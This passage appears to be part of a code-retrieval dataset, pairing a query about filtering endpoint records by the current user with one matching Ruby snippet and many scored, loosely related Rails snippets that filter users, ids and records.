"title": ""
}
] |
32745adc5123cd0ff4de66150bd55d52
|
Filter endpoint records for current user HACK return ids list (no embed option in AMS 0.10)
|
[
{
"docid": "0b49d6c5bce2b45034b1de7cfeccf028",
"score": "0.6199666",
"text": "def endpoints\n endpoints = object.endpoints\n unless current_user.admin?\n endpoints = object.endpoints.select { |ep| ep.project.users.include?(current_user) }\n end\n endpoints.map { |e| e.id }\n end",
"title": ""
}
] |
[
{
"docid": "2e777164f456f8373ca78ad5333ba83f",
"score": "0.6290235",
"text": "def filtering_ids\n return nil unless current_user\n\n return @filtering_ids if @filtering_ids\n\n @filtering_ids = Rails.cache.read cache_ids_key\n end",
"title": ""
},
{
"docid": "673cee4b2f2211762a07fc950dbdbb8b",
"score": "0.61762196",
"text": "def filtered_item_ids(filter, params = {})\n resp = @client.access_token.get(ItemList.merge_query_string(\"/reader/api/0/stream/items/ids?output=json&s=user/#{user_id}/state/com.google/#{filter}&n=20\", params))\n raise \"unable to retrieve the list of #{filter} item ids for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['itemRefs'].collect do |hash|\n Google::Reader::ItemRef.new(hash)\n end\n end",
"title": ""
},
{
"docid": "420b8b8a6b06ac338d7b087b3597e4e0",
"score": "0.6154164",
"text": "def user_ids\n post\n .organization\n .users\n .select(:id)\n .where('members.active = true')\n .where('users.push_notifications = true')\n end",
"title": ""
},
{
"docid": "c522a0ff7b7a66d5606604a24cee63c4",
"score": "0.6144451",
"text": "def filters\n [\n [\"Id\", \"id\"],\n [\"Added By\", \"created_by\"], \n [\"Updated By\", \"updated_by\"]\n ]\n end",
"title": ""
},
{
"docid": "2c027f5445922bd3ddac194597bc071e",
"score": "0.6108083",
"text": "def filter_records\n return [] unless @master_objects\n return @master_objects if @master_objects.is_a? Array\n\n pk = @implementation_class.primary_key\n @filtered_ids = @master_objects\n .each { |i| i.current_user.nil? && i.respond_to?(:current_user=) && i.current_user ||= current_user }\n .select { |i| i.class.definition.default_options&.calc_if(:showable_if, i) }\n .map { |o| o.attributes[pk] }\n @master_objects = @master_objects.where(pk => @filtered_ids)\n filter_requested_ids\n limit_results\n end",
"title": ""
},
{
"docid": "a0a56e5d190cf3501e3c27f10d8cf597",
"score": "0.6088394",
"text": "def all_ids(opts={}, &block)\n user_id = options.delete(:user_id) || User.me.id\n\n opts = options.merge opts\n\n from = \"/users/#{user_id}#{collection_path}/search\"\n\n has_results = true\n ids = []\n\n while has_results && opts[:pages] != opts[:page] do\n params = { limit: opts[:limit],\n offset: opts[:offset] }\n\n path = \"#{from}#{query_string(params)}\"\n data = format.decode(connection.get(path, headers).body) || []\n\n\n results = data[\"results\"]\n has_results = (results.any? and results.count == opts[:limit])\n\n opts[:page ] += 1\n opts[:offset ] += opts[:limit]\n\n yield(results, data, options) if block_given?\n\n ids.concat results\n end\n\n ids\n end",
"title": ""
},
{
"docid": "f7107e263440129bb370791e8bf905ea",
"score": "0.60374635",
"text": "def get_unviewed_ids(user); end",
"title": ""
},
{
"docid": "2dfb62ef1d719f1435b44379b181e0a5",
"score": "0.60325575",
"text": "def index\n # Get the user's records\n @records = user_records\n # Filter by the specified content type if given\n @records = @records.where(content_type: view_context.filter_params[:content_type]) if view_context.filter_params[:content_type]\n # Filter by the specified tag if given\n @records = @records.tagged_with(double_escape_quotes(view_context.filter_params[:tag])) if current_user && view_context.filter_params[:tag]\n # Get the selected id(s) if given\n @records = @records.where(id: params[:id]) if params[:id]\n # Get the relevant page unless all is specified\n @records = (view_context.filter_params[:per].eql? \"all\") ?\n @records.page(1).per(user_records.count) : @records.page(view_context.filter_params[:page]).per(view_context.filter_params[:per])\n respond_with(@records) unless performed?\n end",
"title": ""
},
{
"docid": "dd7630656d7bd549dc67a95e57bf9df7",
"score": "0.6019303",
"text": "def user_ids\n page = 1\n per_page = 100\n user_ids = []\n puts 'collecting all user ids'\n loop do\n response = @conn.get api_url('/users'),\n { page: page, per_page: per_page }.merge(token)\n raise 'Error Retrieving user_ids' if response.status != 200\n ids = JSON.parse(response.body).collect { |u| u['id'] }\n user_ids.concat(ids)\n break if ids.size < per_page\n page += 1\n end\n puts 'returning now the user ids'\n user_ids.sort\n end",
"title": ""
},
{
"docid": "1cff9d826bd44cb317885401bf6c0b72",
"score": "0.5949727",
"text": "def permitted_users_id\n\treturn_user_ids = Array.new\n\tif !self.venue_id.nil?\n\t return_user_ids = ActiveInVenue.where(venue_id: self.venue_id).where.not(user_id: self.user_id).map(&:user_id)\n end\n\tif self.allow_nearby\n\t\treturn_user_ids = return_user_ids | User.where.not(id: self.user_id).near([self.latitude, self.longitude], 25, units: :km).map(&:id)\n\tend\n\tblack_list = BlockUser.blocked_user_ids(self.user_id)\n \tcontent_black_list = ShoutReportHistory.where(reportable_id: self.id).where(reportable_type: 'Shout').map(&:reporter_id)\n \treturn_user_ids = return_user_ids - black_list - content_black_list\n\n \t# only user pusher for online users\n \tonline_users_ids = User.where(id: return_user_ids).where(pusher_private_online: true).map(&:id)\n \treturn online_users_ids\n end",
"title": ""
},
{
"docid": "1abb5b4ccb9ffcdd53b163583d647d94",
"score": "0.58901155",
"text": "def user_ids\n self.class.where(id: id).user_ids\n end",
"title": ""
},
{
"docid": "001c5998178306eb092c2c7c20f45cdf",
"score": "0.5862189",
"text": "def userids\n metadata[\"userids\"]\n end",
"title": ""
},
{
"docid": "9707dff2a070342d74d2a46a1763e1e5",
"score": "0.585147",
"text": "def records_filtered\n records\n @config[:records_filtered]\n end",
"title": ""
},
{
"docid": "dbb29e0e869bcaae4d985c391d8708c1",
"score": "0.58445984",
"text": "def users(filter = {})\n handler[:people].filter(filter)\n end",
"title": ""
},
{
"docid": "cf1b02231d68e8248be06feac379a163",
"score": "0.5837201",
"text": "def filter_by(filter, current_user = nil)\n return self unless filter.present?\n\n records = self\n\n records = records.where(id: filter[:tag_ids]) if filter[:tag_ids]\n\n if filter[:user_id]\n records = records.from_user_id(filter[:user_id], current_user&.id)\n elsif filter[:user_slug]\n records = records.from_user(filter[:user_slug], current_user&.id)\n end\n\n if filter[:topic_id]\n records = records.for_topic_id(filter[:topic_id]) if filter[:topic_id]\n elsif filter[:topic_slug]\n records = records.for_topic(filter[:topic_slug])\n end\n\n records = records.bookmarked_by_user(current_user.id) if filter[:bookmarked] && current_user\n\n records = records.where(accepted: filter[:accepted]) if filter[:accepted]\n records = records.with_visibility(filter[:visibility]) if filter[:visibility]\n\n return records\n end",
"title": ""
},
{
"docid": "d6010605f86ba531d3d8fc5382e24957",
"score": "0.5812844",
"text": "def user_ids\n @attributes[:user_ids]\n end",
"title": ""
},
{
"docid": "d6010605f86ba531d3d8fc5382e24957",
"score": "0.5812844",
"text": "def user_ids\n @attributes[:user_ids]\n end",
"title": ""
},
{
"docid": "d6010605f86ba531d3d8fc5382e24957",
"score": "0.5812844",
"text": "def user_ids\n @attributes[:user_ids]\n end",
"title": ""
},
{
"docid": "b0b9c8761518bf0611d11e459f288c76",
"score": "0.5798799",
"text": "def user_ids\n users.pluck(:id)\n end",
"title": ""
},
{
"docid": "85edc0d03a308e49992c21433300f0bd",
"score": "0.5791036",
"text": "def identities\n User.where(:provider => provider, :uid => uid)\n end",
"title": ""
},
{
"docid": "c10f071b418639a6095a39910cf41872",
"score": "0.5789875",
"text": "def filter_records\n return unless @master_objects\n return @master_objects if @master_objects.is_a? Array\n\n @filtered_ids = @master_objects\n .select { |i| i.option_type_config&.calc_if(:showable_if, i) }\n .map(&:id)\n @master_objects = @master_objects.where(id: @filtered_ids)\n filter_requested_ids\n limit_results\n end",
"title": ""
},
{
"docid": "f73e19b4b0cb672577eaf05b2f291fb1",
"score": "0.57874435",
"text": "def user_ids \n @user_ids ||= input[\"users\"].map{|user| user[\"id\"]}\nend",
"title": ""
},
{
"docid": "81f52d1dc6a57309f75301d6a0378a10",
"score": "0.5746742",
"text": "def get_members_by_id\n return filter_by_id(get_members) \n end",
"title": ""
},
{
"docid": "a67cce08e381fd855833b69316f779a7",
"score": "0.57011306",
"text": "def user_ids\n users.collect(&:id)\n end",
"title": ""
},
{
"docid": "a0803aa0a897635cefa41e41a82e84e7",
"score": "0.5699147",
"text": "def lawyer_details(notes)\n @allowed_ids=[]\n lawyer = Employee.find_by_user_id(notes.assigned_by_employee_user_id, :include => [:company => :employees])\n lawyer.company.employees.each do |employee|\n @allowed_ids << employee.user_id\n end\n end",
"title": ""
},
{
"docid": "8951e92bc61451f30132385ff21480f1",
"score": "0.5679691",
"text": "def users_ids\n object.member_ids\n end",
"title": ""
},
{
"docid": "5feb3b6f30c3af87f5c24321d24ab9fe",
"score": "0.5668874",
"text": "def associated_records(ids)\n max_ids_in_a_list = connection.ids_in_list_limit || ids.size\n records = []\n ids.each_slice(max_ids_in_a_list) do |some_ids|\n records += yield(some_ids)\n end\n records\n end",
"title": ""
},
{
"docid": "d4da89a04a521f954823375dcd2fa1e8",
"score": "0.56417227",
"text": "def friend_ids(query={})\n perform_get(\"/friends/ids.json\", :query => query)\nend",
"title": ""
},
{
"docid": "ec57d55c9c8f68878e73e4e141781044",
"score": "0.5631265",
"text": "def identifiers\n request[:ids]\n end",
"title": ""
},
{
"docid": "f204e184307175f0506dcb2d40c73a99",
"score": "0.56269336",
"text": "def get_lawyer_user_ids\n @assigned_lawfirm_users.map(&:id)\n end",
"title": ""
},
{
"docid": "e603b046f6ea612515cd89cc16eb2271",
"score": "0.5626299",
"text": "def enabled_user_ids\n User\n .non_admins\n .find_each(batch_size: 100).each_with_object([]) do |user, ids|\n ids.push(user.id) if user.feature_enabled?(:block_level_sync)\n end\n end",
"title": ""
},
{
"docid": "2218263cb861e75ec25340594789511b",
"score": "0.56236774",
"text": "def api_filter(params, options = {})\n new_params = {}\n params.each{|param, value| new_params[param.to_s] = value} \n params = new_params\n\n api_validate params\n \n skip = Proc.new do |key|\n options[:only_filter] && !options[:only_filter].include?(key)\n end\n \n dataset = self\n dataset = dataset.api_include params unless skip.call(:include)\n dataset = dataset.api_sort params unless skip.call(:sort)\n dataset = dataset.api_limit params unless skip.call(:limit)\n dataset = dataset.api_offset params unless skip.call(:offset)\n\n # Prepare the records for serialization\n records = dataset.all\n\n if params['include'] && !skip.call(:include)\n records.each do |record|\n MF::API::IncludeNode.serialize_attrs(record, params['include'], options[:proc])\n end\n end\n \n records\n end",
"title": ""
},
{
"docid": "e523c89d243f3d3e856371a5844b6ef9",
"score": "0.5611205",
"text": "def endpoints\n object.endpoints.map { |e| e.id }\n end",
"title": ""
},
{
"docid": "503550ed5d882ab2b84f201dc7fb3349",
"score": "0.5603181",
"text": "def filter\n do_authorize_class\n\n filter_response, opts = Settings.api_response.response_advanced(\n api_filter_params,\n Access::ByPermission.dataset_items(current_user, dataset_id: params[:dataset_id]),\n DatasetItem,\n DatasetItem.filter_settings(:reverse_order)\n )\n\n respond_filter(filter_response, opts)\n end",
"title": ""
},
{
"docid": "d172767396bb74c1085d2d7e08369a66",
"score": "0.5600382",
"text": "def show\n @filter = current_user.filters.find(params[:id])\n # @filters = current_user.filters.all\n respond_to do |format|\n format.html\n format.json { render json: @filter }\n end\n end",
"title": ""
},
{
"docid": "ec88582aac99e8be388804a51c2854f5",
"score": "0.5598926",
"text": "def index\n @queries = Array.new\n Query.all.each do |query|\n if query.user_id == current_user.id\n @queries << query\n end\n end\n @endpoints = Set.new\n @queries.each do |query|\n @endpoints << query.endpoint\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @queries }\n end\n end",
"title": ""
},
{
"docid": "6d0bd0baf319f6d5f2d5b024159edfbc",
"score": "0.5589591",
"text": "def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end",
"title": ""
},
{
"docid": "50eac2a8420dc321ac7bce68b7d378e6",
"score": "0.55834746",
"text": "def list(\n filter,\n *args,\n deadline: nil\n )\n return @remote_identities.list(\n filter,\n *args,\n deadline: deadline,\n )\n end",
"title": ""
},
{
"docid": "412996bf7c3a83868deb51288fc96dad",
"score": "0.55801976",
"text": "def index \n \t@items = Item.paginate(page: params[:page])\n\n @user_items = current_user.user_items.pluck(:id).uniq\n @all_user_items = UserItem.where(id: @user_items)\n end",
"title": ""
},
{
"docid": "ebc2711d28a4e5a5ce04298bbd74b4ff",
"score": "0.55704206",
"text": "def user_ids\n self.users.collect{|ud| ud.id}\n end",
"title": ""
},
{
"docid": "375a265b67d39fe2a3ef8cf3f7c90245",
"score": "0.5569095",
"text": "def filter_users\n allowed_keys=[\"email\", \"admin\"]\n filtering_keys=allowed_keys & params.keys\n filtering_keys.each {|key| filter_by_key(key)}\n end",
"title": ""
},
{
"docid": "d65dec53dea20fcf96b12aec508330e2",
"score": "0.55665827",
"text": "def filter_by_user_id\n @query = @query.where(user_id: @user_id)\n end",
"title": ""
},
{
"docid": "c768529e57a132799522d9fd1032e463",
"score": "0.55629843",
"text": "def doc_ids_only\n {'fl'=>'id', 'facet'=>'false'}\n end",
"title": ""
},
{
"docid": "99cc01263a976137d63d5e077f50214f",
"score": "0.55603683",
"text": "def index\n render json: TempUser.all.map { |x| filter(x) }\n end",
"title": ""
},
{
"docid": "c82945a212440fa44e1ee825588a0cae",
"score": "0.5545494",
"text": "def users\n Ecore::User.find(@user_id, :group_ids.like(\"%#{@id}%\")).receive(:all)\n end",
"title": ""
},
{
"docid": "d1cd1cc54cc243d74634ac8203ee3b0d",
"score": "0.55419546",
"text": "def get_admins_by_id\n return filter_by_id(get_admins)\n end",
"title": ""
},
{
"docid": "4da3cc9c0ec097eb4c9ec6a54a52039a",
"score": "0.55344415",
"text": "def index\n @user_ids = UserId.all\n end",
"title": ""
},
{
"docid": "78e9bc2bd9f049f108101b1fa06fe446",
"score": "0.5510944",
"text": "def records\n live_lookup_service.new(@ids).records\n end",
"title": ""
},
{
"docid": "514b9a196e4d3bd0b8abf743911a5857",
"score": "0.5501736",
"text": "def extract_ids\n # no-op\n end",
"title": ""
},
{
"docid": "e40c3a263da8c9c682cb6b3e82ceb6da",
"score": "0.5501693",
"text": "def get_user_ids\n @assigned_lawfirm_users.map(&:id)\n end",
"title": ""
},
{
"docid": "0df69233b69e4ff044e6533b75550fe1",
"score": "0.5499808",
"text": "def set_endpoints\n @endpoints = Endpoint.where('client_tag like ?', \"%#{params[:client_tag]}%\")\n .where('name like ?', \"%#{params[:request_name]}%\")\n end",
"title": ""
},
{
"docid": "727bd07d6f84e7d39b6b07a46fed9082",
"score": "0.549871",
"text": "def scrub_external_ids\n unless params[:criteria][:external_user_id].blank?\n id = ext_id params[:criteria][:external_user_id]\n user = User.where('external_id = ?', id)\n if user.count == 0\n @response = generate_error \"User with external id #{strip_ext_id id} cannot be found.\"\n send_response\n else\n params[:criteria][:user_id] = user.first.id\n end\n params[:criteria].delete 'external_user_id'\n end\n \n unless params[:criteria][:external_call_detail_id].blank?\n id = ext_id params[:criteria][:external_call_detail_id]\n call_detail = CallDetail.where('external_id = ?', id)\n if call_detail.count == 0\n @response = generate_error \"Call detail with external id #{strip_ext_id id} cannot be found.\"\n send_response\n else\n params[:criteria][:call_detail_id] = call_detail.first.id\n end \n params[:criteria].delete 'external_call_detail_id'\n end\n \n unless params[:criteria][:external_ouid].blank?\n id = ext_id params[:criteria][:external_ouid]\n ou = OrganizationalUnit.where('external_id = ?', id)\n if ou.count == 0\n @response = generate_error \"Group with external id #{strip_ext_id id} cannot be found.\"\n send_response\n else\n params[:criteria][:ouid] = ou.first.id\n end\n params[:criteria].delete 'external_ouid'\n end \n \n unless params[:external_id].blank?\n @find_by_ext_id = true\n params[:id] = params[:external_id]\n end\n \n end",
"title": ""
},
{
"docid": "2e17310c7628f7c38786cbb056144d4d",
"score": "0.5487641",
"text": "def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end",
"title": ""
},
{
"docid": "92a005ee06fa8c3c3f71aa842c9b8f51",
"score": "0.54873246",
"text": "def show\n @requests = Request.where(pet_id: params[:id]).all\n users_id = Array.new(@requests.size) \n @requests.each do |req|\n users_id.push([req.interented_id])\n end\n @interested = User.find(users_id)\n end",
"title": ""
},
{
"docid": "aa16fdbf3033132579ced2adea12568c",
"score": "0.5483707",
"text": "def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end",
"title": ""
},
{
"docid": "97a4bd9f26fb629996b801a81526b1e6",
"score": "0.5481553",
"text": "def all_employees\n ServiceProvider.all(:conditions => [\"user_id IN (?)\", self.users.map(&:id)])\n end",
"title": ""
},
{
"docid": "0ab308c9d373b884036a912b682dc814",
"score": "0.54527026",
"text": "def index\n return permission_denied unless \\\n (params[:id].to_s == @current_user.id.to_s) || \n (params[:email].to_s == @current_user.email.to_s)\n\n @users = User.where(params.permit(:id, :email))\n\n if @users\n render status: :ok,\n json: @users.as_json\n else\n render status: :not_found,\n json: {\n error: \"Users not found\"\n }\n end\n end",
"title": ""
},
{
"docid": "74c57fb14c07df90aafc2204e92165bd",
"score": "0.54467154",
"text": "def list_stored_user_ids_ar\n Credential.all.map {|credential| credential.user_id}\nend",
"title": ""
},
{
"docid": "8dab67f7c236e6850ccd6d4528c1adbd",
"score": "0.5434994",
"text": "def get_users_on_flight_reject_requester\n\n\t\t# Then query saved journeys using the 'purchased_flight' identifier\n\t\t# for a list of the the other user id's who are on the flight\n\t\t# \n\t\t# Remove the queryer from the list and remove sensetive information\n\t\t# \n\t\t# Done. Return our model list\n\n\t\tjourney_id = params[\"journeyId\"]\n\t\tuser_id = params[\"userId\"]\n\n\t\tuser_list = User.on_journey(journey_id).reject{ |s| s.id == user_id }\n\n\t\trender json: user_list.as_json(only: [:id, :first_name, :last_name, :email]), status: 200\n\n\tend",
"title": ""
},
{
"docid": "52b9aeacd8356e74d63e93b33cbd499e",
"score": "0.5432571",
"text": "def all_friends\n User.where ['external_user_id IN (?) OR id IN (?)', facebook_friends_ids, email_friends_ids]\n end",
"title": ""
},
{
"docid": "dd3eb96aa41050ec4b26783fafc12f1e",
"score": "0.543149",
"text": "def account_ids()\n return [1, 2]\n end",
"title": ""
},
{
"docid": "9702cb9bd191219b6d8c09b96597c582",
"score": "0.54263866",
"text": "def filtered_items_list(filter, params = {})\n resp = @client.access_token.get(ItemList.merge_query_string(\"/reader/api/0/stream/contents/user/#{user_id}/state/com.google/#{filter}?output=json\", params))\n raise \"unable to retrieve the list of #{filter} items for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n Google::Reader::ItemList.new(@client, resp.body)\n end",
"title": ""
},
{
"docid": "191a584bbd3e40b60e74d1ac8856ed5b",
"score": "0.54137915",
"text": "def users\n \n @users = User.where(:enabled => true)\n @users = @users.where(:role => params[:role].upcase) if params[:role]\n @users = @users.where(:id => params[:id]) if params[:id]\n respond_to do |format|\n format.xml { render :xml => @users.to_xml }\n end\n \n end",
"title": ""
},
{
"docid": "0d6275c678a76f8f314d5e30178e9c44",
"score": "0.54120505",
"text": "def record_ids(opts = {})\n opts = opts.merge(@opts)\n client.list_identifiers(opts).full.lazy.flat_map(&:identifier)\n end",
"title": ""
},
{
"docid": "386b5d35846e4b1358b5694ff86c205b",
"score": "0.54041076",
"text": "def index\n respond_with ApidUser.all\n end",
"title": ""
},
{
"docid": "6c340f51b55b08f9ac072fc166e45b00",
"score": "0.5400906",
"text": "def index\n StatsManager::StatsD.time(Settings::StatsConstants.api['user']['index']) do\n if params[:ids]\n ids = params[:ids].split(\",\")\n if ids.length <= 10\n @users = User.find(ids)\n @status = 200\n else\n render_error(400, \"too many ids included (max 10)\")\n end\n elsif user_signed_in?\n @status = 200\n @user = current_user\n @user_personal_roll_subdomain = (@user.public_roll and @user.public_roll.subdomain)\n render 'v1/user/show'\n else\n render_error(401, \"current user not authenticated\")\n end\n end\n end",
"title": ""
},
{
"docid": "10d5436dcbb6fc3bf53a048497e8438c",
"score": "0.53991073",
"text": "def get_users(request); end",
"title": ""
},
{
"docid": "d25692799d2a073ffef4ed2c512e95f7",
"score": "0.53881717",
"text": "def trail_users_id_array\n # trail = Trail.find(:id)\n self.users.map do |x| \n x.id \n end \n end",
"title": ""
},
{
"docid": "25ec944dc6bb7c0fb0b535e56afd1a44",
"score": "0.53854173",
"text": "def get_ids_for_query\n if param.field.options[:definition]\n definition = param.field.options[:definition]\n else\n # Set up a definition\n definition = Definition.new\n definition.base = param.field.options[:base].is_a?(Proc) ? param.field.options[:base].call : param.field.options[:base]\n\n # Get the fields which we should search for\n fields = @field.is_a?(Array) ? @field : [@field]\n fields.each do |field|\n definition.fields << DefinitionField.new(field, :condition => Local, :value_transmogrification => param.field.options[:value_transmogrification])\n end\n end\n\n # Set up a query\n query = Query.new(definition)\n\n # Add all the fields\n query.group(:any) do |params|\n fields.each do |field|\n params << query.param(field, @operator, @value)\n end\n end\n\n ids = query.results.pluck(param.field.options[:foreign_key])\n\n if @operator == :blank\n all_ids = param.query.definition.base.pluck(:id)\n present_ids = definition.base.pluck(param.field.options[:foreign_key])\n ids = (all_ids - present_ids) + ids\n end\n\n ids\n\n end",
"title": ""
},
{
"docid": "f4324887f923b9747bd1e0ebbb70b995",
"score": "0.5385091",
"text": "def private_user_slyp_ids\n user_slyps.select { |user_slyp| user_slyp.reslyps.count == 0 }\n .map { |user_slyp| user_slyp.id }\n end",
"title": ""
},
{
"docid": "7ab847f9887021e1bfe2998c7bebf161",
"score": "0.5383629",
"text": "def filter(record)\n true\n end",
"title": ""
},
{
"docid": "59da42146f0b8f8b7580eb9ac9810944",
"score": "0.53741825",
"text": "def users\n company_ids = [self.id]\n company_ids += advisor_company_ids if advised?\n\n user_ids = UserAffiliation.where(:company_id.in => company_ids).with_access.only(:user_id).map(&:user_id)\n User.where(:id.in => user_ids).order_by(created_at: :asc)\n end",
"title": ""
},
{
"docid": "19f432be32a23d3fcea0b7819dba4a10",
"score": "0.5373727",
"text": "def index\n params['filters'] ||= 'volunteers'\n @users = case params['filters']\n when 'all'\n User.all.order(created_at: :asc)\n when 'team'\n User.where(admin: true).order(created_at: :asc)\n when 'volunteers'\n User.where(active: true, admin: nil, organization_id: nil).order(created_at: :asc)\n when 'org'\n User.where(active: true).where.not(organization_id: nil).order(created_at: :asc)\n when 'inactive'\n User.where(active: false).order(created_at: :asc)\n end\n authorize @users\n end",
"title": ""
},
{
"docid": "4ef2af5e2dfb3cb66e5ccf9888e6952d",
"score": "0.5373179",
"text": "def index\n @events = Event.where({ user_id: current_user.id }).order(created_at: :desc)\n @invitations = EventUser.where({ number: current_user.phone }).map { |invite| invite.event }\n \n end",
"title": ""
},
{
"docid": "4b0e2d08f2e0ceff41385dfa1394e34b",
"score": "0.53711486",
"text": "def filter_ids\n (tags.map { |tag| tag[:id] } + filters.map(&:id)).uniq\n end",
"title": ""
},
{
"docid": "2405be4c6e6e358071c365c08f996684",
"score": "0.53605646",
"text": "def filtering_params(params)\n params.slice(:id, :email, :password, :admin)\n end",
"title": ""
},
{
"docid": "88ca478e44146e3f0f99f2bd85761212",
"score": "0.53561056",
"text": "def get_recipients\n\n recipient_ids = params[:recipient_ids]\n\n recipients = current_user.recipients.where(\"recipients.id IN (:recipient_ids)\", recipient_ids: recipient_ids)\n respond_to do |format|\n format.json { render json: recipients }\n end\n\n end",
"title": ""
},
{
"docid": "2d8e3fb812dc6627fba81e0796762eb7",
"score": "0.5352978",
"text": "def authorized_to_view_records\n visible_records\n end",
"title": ""
},
{
"docid": "5c2b14fe1d45c83347904f2487e23508",
"score": "0.53528",
"text": "def approver_id_list(resource)\n visible_request_ids = visible_request_ids_for_approver\n Rails.logger.debug { \"Final accessible request ids: #{visible_request_ids}\" }\n\n case resource\n when \"requests\"\n visible_request_ids\n when \"actions\"\n Action.where(:request_id => visible_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end",
"title": ""
},
{
"docid": "6be41682b7497a991e78eaadb4f7e5e1",
"score": "0.53526866",
"text": "def index\n if current_user.profile.blank?\n redirect_to update_profile_url ,:alert => \"Please fill in required fields.\" \n end\n #all values loaded from load_user filter\n @user = current_user\n @associated_providers = current_user.authentications.map{|authentication| authentication.provider}\n @not_yet_associated_providers = SUPPORTED_PROVIDER - @associated_providers\n \n # this is for feed\n @following_ids = @user.all_following.map{|user| user.id}\n \n @following_ids << current_user.id\n \n\n @feeds = ActivityFeed.where(\"user_id in (?)\",@following_ids).order(\"created_at DESC\").paginate(:per_page => 20,:page => params[:page])\n\n \n end",
"title": ""
},
{
"docid": "3cad0447c3b89158b1e68575ff040b37",
"score": "0.5349289",
"text": "def from_external_system\n @records = user_records.where(external_system: from_external_system_params[:external_system])\n @records = @records.where(external_id: from_external_system_params[:external_id]) if from_external_system_params[:external_id]\n # Get the relevant page unless all is specified\n @records = (from_external_system_params[:per].eql? \"all\") ?\n @records.page(1).per(user_records.count) : @records.page(params[:page]).per(view_context.filter_params[:per])\n respond_with(@records) do |format|\n format.html { render :index }\n end\n end",
"title": ""
},
{
"docid": "80319083fffbe31197f5777b928c50d0",
"score": "0.5344751",
"text": "def get_filters\n session[:instances_filters]\n end",
"title": ""
},
{
"docid": "80319083fffbe31197f5777b928c50d0",
"score": "0.5344751",
"text": "def get_filters\n session[:instances_filters]\n end",
"title": ""
},
{
"docid": "07b3429aba80f0aec90f38264c44a4c3",
"score": "0.5342145",
"text": "def index\n authorize! :read, PhoneCall\n\n authorized_phone_calls = []\n phone_calls.where(params.permit(:state))\n .includes(:to_role, :user, consult: [:initiator, :subject])\n .order('created_at ASC')\n .each do |p|\n authorized_phone_calls.push(p) if can? :read, p\n end\n\n index_resource authorized_phone_calls.serializer\n end",
"title": ""
},
{
"docid": "890b2be077a3d1521ca594a71378d61d",
"score": "0.5340452",
"text": "def users\n Webmail::User.in(group_ids: id)\n end",
"title": ""
},
{
"docid": "7ac297b7a2c493b849b0c3886a508975",
"score": "0.53399915",
"text": "def index_users\n load_alert\n return if (@alert.blank?)\n\n # Preload the users\n @users = User.where(:_id.in => @alert.user_ids)\n\n respond_to do |format|\n format.html\n end\n end",
"title": ""
},
{
"docid": "a6db9a9b74cff7bd7a7cd5d346563a0d",
"score": "0.5336349",
"text": "def location_users_filter\n @location = Location.where(\"id = #{params[:location_id]}\").first\n @sub_locations = @location.locations\n full_tree_location_ids = @location.parent_location_full_child_tree\n logger.debug(\"**************** #{full_tree_location_ids}\")\n\n @users = User.where(\"location_id IN (#{full_tree_location_ids})\")\n \n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "5b4d17c1213ac149ba6e829a9071a835",
"score": "0.5331975",
"text": "def solr_resp_ids_from_query(query)\n solr_resp_doc_ids_only({'q'=> query})\nend",
"title": ""
},
{
"docid": "4110d044c53cb8f90ceb00ef4549dbcc",
"score": "0.53316134",
"text": "def show_lawyer_list\n authorize!(:show_lawyer_list,current_user) unless current_user.role?:secretary\n #session[:verified_secretary_id1] = params[:service_provider_id]\n if params[:search].nil?\n @employees = Employee.paginate :page => params[:page], :order => 'employees.created_at DESC', :per_page=>20, :include=>[:user=>[:role,:service_provider_employee_mappings]]\n else\n @employees = Employee.get_employees(params)\n end\n end",
"title": ""
},
{
"docid": "15c4f9750f03eb8fb2f4b7c4aa54d113",
"score": "0.5327249",
"text": "def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end",
"title": ""
},
{
"docid": "dc8ab68a233b6e328cda7226bcf27033",
"score": "0.53266233",
"text": "def index\n current_user_id = current_user.nil? ? nil : current_user.id\n @main_events = MainEvent.where(user_id: current_user_id)\n @my_events = Event.any_in(user_ids: [current_user_id]).all if current_user_id\n @registered_events = current_user.registered_main_events.to_a\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @main_events }\n end\n end",
"title": ""
},
{
"docid": "ca23c37a03b2027a210bd9d525192e52",
"score": "0.5319144",
"text": "def users\n Ecore::User.where(\"group_ids LIKE '%#{id}%'\").all\n end",
"title": ""
},
{
"docid": "e89ff72b149e65373b234956aff7b2fc",
"score": "0.53136134",
"text": "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "e4b423d4e06d4b63e4fc43298f51ce17",
"score": "0.5312329",
"text": "def record_ids(opts = {})\n view = opts[:view] || @opts[:view]\n client.view(view, include_docs: false, stream: true).keys.lazy\n end",
"title": ""
},
{
"docid": "da06a88fa77cd0467fb73e36c8db243f",
"score": "0.52989936",
"text": "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end",
"title": ""
},
{
"docid": "99800f5aae15f14c8b64baf4b39704cf",
"score": "0.52961296",
"text": "def run\n local_only_uids = serializer.uids - folder.uids\n return if local_only_uids.empty?\n\n serializer.filter do |message|\n !local_only_uids.include?(message.uid)\n end\n end",
"title": ""
},
{
"docid": "0ac143f1916ce8c82e11fbfe6c90476f",
